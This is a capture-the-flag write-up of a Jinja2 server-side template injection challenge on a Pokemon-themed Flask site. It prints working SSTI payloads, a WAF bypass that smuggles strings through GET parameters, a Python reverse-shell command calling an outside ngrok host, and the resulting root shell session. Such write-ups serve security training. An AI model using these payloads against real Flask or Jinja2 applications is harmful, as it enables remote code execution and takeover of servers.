Statement: Picking a starter is hard, I hope you can do it.
The site has three endpoints that return information on pokemon starters :
I decided to check the site’s behavior by trying to query the /x
enpoint :
I start by checking whether the site is vulnerable via SSTI (Server-Side Template Injection) with a basic payload {{7*7}}
through endpoint :
http://chal.pctf.competitivecyber.club:5555/{{7*7}}
The server get back the calcul of payload :
In view of the server response and the site headers (python), I assume that the exploit will be a Jinja2-based SSTI :
# curl -I http://chal.pctf.competitivecyber.club:5555
HTTP/1.1 200 OK
Server: Werkzeug/2.3.7 Python/3.11.5
Date: Sun, 10 Sep 2023 13:39:22 GMT
Content-Type: text/html; charset=utf-8
Content-Length: 1120
Connection: close
After sending multiple payloads, I notice that the following strings and characters are filtered via a WAF :
' " [ ] |
builtins
config
To try to read config environment variables, you can use the self parameter to bypass the filter on the config value : {{self.__dict__}}
I now know two things following the return of the payload :
- No doubt about Jinja2 exploit based
- No interesting values in config
While looking for documentation on this type of flaw, I came across this write-up, which enabled me to use python’s os module.
I manage to perform an RCE with the following payload in order to list the contents of the current directory :
{{url_for.__globals__.os.__dict__.listdir()}}
But with quotes and double quotes filters, it’s impossible to perform an RCE using system, popen or anything else with this method.
On the PayloadsAllTheThings github repo, there is an interesting section about filter bypass :
http://localhost:5000/?exploit={{request|attr([request.args.usc*2,request.args.class,request.args.usc*2]|join)}}&class=class&usc=_
{{request|attr([request.args.usc*2,request.args.class,request.args.usc*2]|join)}}
{{request|attr(["_"*2,"class","_"*2]|join)}}
{{request|attr(["__","class","__"]|join)}}
{{request|attr("__class__")}}
{{request.__class__}}
It is possible to create a GET parameter and inject the payload within the parameter to bypass WAF quotes filtering !
After some time spent searching, we found the following payload for perform an RCE :
{{url_for.__globals__.os.popen(request.args.a).read()}}?a=id
Afterwards, I manage to get a revshell on the remote machine with the following command :
{{url_for.__globals__.os.popen(request.args.a).read()}}?a=python -c 'import socket,subprocess,os;s=socket.socket(socket.AF_INET,socket.SOCK_STREAM);s.connect(("5.tcp.eu.ngrok.io",11970));os.dup2(s.fileno(),0); os.dup2(s.fileno(),1);os.dup2(s.fileno(),2);import pty; pty.spawn("sh")'
Once the revshell is established, all I have to do is retrieve the flag :
nc -lvnp 1337
Listening on 0.0.0.0 1337
Connection received on 127.0.0.1 44342
/app # id
uid=0(root) gid=0(root) groups=0(root),1(bin),2(daemon),3(sys),4(adm),6(disk),10(wheel),11(floppy),20(dialout),26(tape),27(video)
/app # ls
__pycache__ requirements.txt templates
app.py static
/app # ls /
app etc lib opt run sys var
bin flag.txt media proc sbin tmp
dev home mnt root srv usr
/app # cat /flag.txt
PCTF(wHOS7H47PoKEmoN)
Flag : PCTF(wHOS7H47PoKEmoN)
The filter function in the app.py
file was as follows :
def blacklist(string):
block = ["config", "update", "builtins", "\"", "'", "`", "|", " ", "[", "]", "+", "-"]
for item in block:
if item in string:
return True
return False